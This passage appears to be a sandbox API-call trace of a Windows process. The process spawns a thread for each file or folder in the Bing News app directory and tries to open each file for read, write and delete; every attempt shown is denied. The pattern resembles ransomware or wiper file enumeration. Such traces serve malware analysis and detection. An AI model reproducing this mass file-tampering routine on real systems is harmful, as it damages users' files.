	[0089.833] wcscat (in: _Dest=0x2e44980, _Source="StoreLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png"
	[0089.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e44980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f44
	[0089.834] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 0
	[0089.834] FindClose (in: hFindFile=0x2daca78 | out: hFindFile=0x2daca78) returned 1
	[0089.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f24058) returned 1
	[0089.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925450) returned 1
	[0089.835] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770d20) returned 1

Thread:
	id = 1084
	os_tid = 0x1d60

	[0082.882] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite")) returned 0x20
	[0082.883] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0082.884] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.884] GetLastError () returned 0x5
	[0082.884] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0082.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1

Thread:
	id = 1085
	os_tid = 0x1d64

	[0082.883] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0082.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0082.885] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.885] GetLastError () returned 0x5
	[0082.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0082.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb258) returned 1

Thread:
	id = 1086
	os_tid = 0x1d68

	[0082.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x2e44600
	[0082.886] wcscpy (in: _Dest=0x2e44600, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0082.886] wcscat (in: _Dest=0x2e44600, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0082.886] wcscat (in: _Dest=0x2e44600, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*"
	[0082.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f249f8
	[0082.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\*", lpFindFileData=0x4f249f8 | out: lpFindFileData=0x4f249f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacb38
	[0082.886] wcscmp (_String1=".", _String2=".") returned 0
	[0082.886] FindNextFileW (in: hFindFile=0x2dacb38, lpFindFileData=0x4f249f8 | out: lpFindFileData=0x4f249f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45a502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.886] wcscmp (_String1="..", _String2=".") returned 1
	[0082.886] wcscmp (_String1="..", _String2="..") returned 0
	[0082.886] FindNextFileW (in: hFindFile=0x2dacb38, lpFindFileData=0x4f249f8 | out: lpFindFileData=0x4f249f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 1
	[0082.886] wcscmp (_String1="Generic.xbf", _String2=".") returned 1
	[0082.886] wcscmp (_String1="Generic.xbf", _String2="..") returned 1
	[0082.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a5e0
	[0082.887] wcscpy (in: _Dest=0x2d8a5e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes"
	[0082.887] wcscat (in: _Dest=0x2d8a5e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\"
	[0082.887] wcscat (in: _Dest=0x2d8a5e0, _Source="Generic.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf"
	[0089.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a5e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8
	[0089.801] FindNextFileW (in: hFindFile=0x2dacb38, lpFindFileData=0x4f249f8 | out: lpFindFileData=0x4f249f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705ac224, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x705ac224, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x705ac224, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.xbf", cAlternateFileName="")) returned 0
	[0089.801] FindClose (in: hFindFile=0x2dacb38 | out: hFindFile=0x2dacb38) returned 1
	[0089.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f249f8) returned 1
	[0089.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44600) returned 1
	[0089.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fc30) returned 1

Thread:
	id = 1087
	os_tid = 0x1d6c

	[0082.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d89850
	[0082.888] wcscpy (in: _Dest=0x2d89850, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0082.888] wcscat (in: _Dest=0x2d89850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0082.888] wcscat (in: _Dest=0x2d89850, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*"
	[0082.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f24c60
	[0082.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\*", lpFindFileData=0x4f24c60 | out: lpFindFileData=0x4f24c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0082.889] wcscmp (_String1=".", _String2=".") returned 0
	[0082.889] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x4f24c60 | out: lpFindFileData=0x4f24c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45be97, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7074fc08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.889] wcscmp (_String1="..", _String2=".") returned 1
	[0082.889] wcscmp (_String1="..", _String2="..") returned 0
	[0082.889] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x4f24c60 | out: lpFindFileData=0x4f24c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 1
	[0082.889] wcscmp (_String1="DataModels", _String2=".") returned 1
	[0082.889] wcscmp (_String1="DataModels", _String2="..") returned 1
	[0082.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481d0a8
	[0082.889] wcscpy (in: _Dest=0x481d0a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization"
	[0082.889] wcscat (in: _Dest=0x481d0a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\"
	[0082.889] wcscat (in: _Dest=0x481d0a8, _Source="DataModels" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels"
	[0089.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481d0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0
	[0089.794] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x4f24c60 | out: lpFindFileData=0x4f24c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7074fc08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa45ce6a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0
	[0089.794] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0089.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f24c60) returned 1
	[0089.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89850) returned 1
	[0089.794] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb348) returned 1

Thread:
	id = 1088
	os_tid = 0x1d70

	[0082.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e448a0
	[0082.890] wcscpy (in: _Dest=0x2e448a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0082.890] wcscat (in: _Dest=0x2e448a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0082.890] wcscat (in: _Dest=0x2e448a0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*"
	[0082.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4f24ec8
	[0082.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*", lpFindFileData=0x4f24ec8 | out: lpFindFileData=0x4f24ec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0082.890] wcscmp (_String1=".", _String2=".") returned 0
	[0082.890] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x4f24ec8 | out: lpFindFileData=0x4f24ec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa463310, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.890] wcscmp (_String1="..", _String2=".") returned 1
	[0082.890] wcscmp (_String1="..", _String2="..") returned 0
	[0082.890] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x4f24ec8 | out: lpFindFileData=0x4f24ec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 1
	[0082.890] wcscmp (_String1="Glyphs", _String2=".") returned 1
	[0082.890] wcscmp (_String1="Glyphs", _String2="..") returned 1
	[0082.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x47681a0
	[0082.890] wcscpy (in: _Dest=0x47681a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0082.890] wcscat (in: _Dest=0x47681a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0082.890] wcscat (in: _Dest=0x47681a0, _Source="Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0089.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47681a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc
	[0089.792] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x4f24ec8 | out: lpFindFileData=0x4f24ec8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa464150, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0089.792] FindClose (in: hFindFile=0x477a968 | out: hFindFile=0x477a968) returned 1
	[0089.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f24ec8) returned 1
	[0089.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e448a0) returned 1
	[0089.792] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6f210) returned 1

Thread:
	id = 1089
	os_tid = 0x1d74

	[0082.891] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js")) returned 0x20
	[0082.892] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0082.892] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\bootstrap.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.892] GetLastError () returned 0x5
	[0082.892] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js", dwFileAttributes=0x20) returned 0
	[0082.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ec70) returned 1

Thread:
	id = 1090
	os_tid = 0x1d78

	[0082.893] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js")) returned 0x20
	[0082.893] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0082.893] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\ormma.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.893] GetLastError () returned 0x5
	[0082.893] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js", dwFileAttributes=0x20) returned 0
	[0082.893] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70068) returned 1

Thread:
	id = 1091
	os_tid = 0x1d7c

	[0082.895] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc")) returned 0x20
	[0082.900] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0082.904] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.904] GetLastError () returned 0x5
	[0082.904] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc", dwFileAttributes=0x20) returned 0
	[0082.904] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770de8) returned 1

Thread:
	id = 1092
	os_tid = 0x1d80

	[0082.895] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt")) returned 0x20
	[0082.900] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", dwFileAttributes=0x20) returned 0
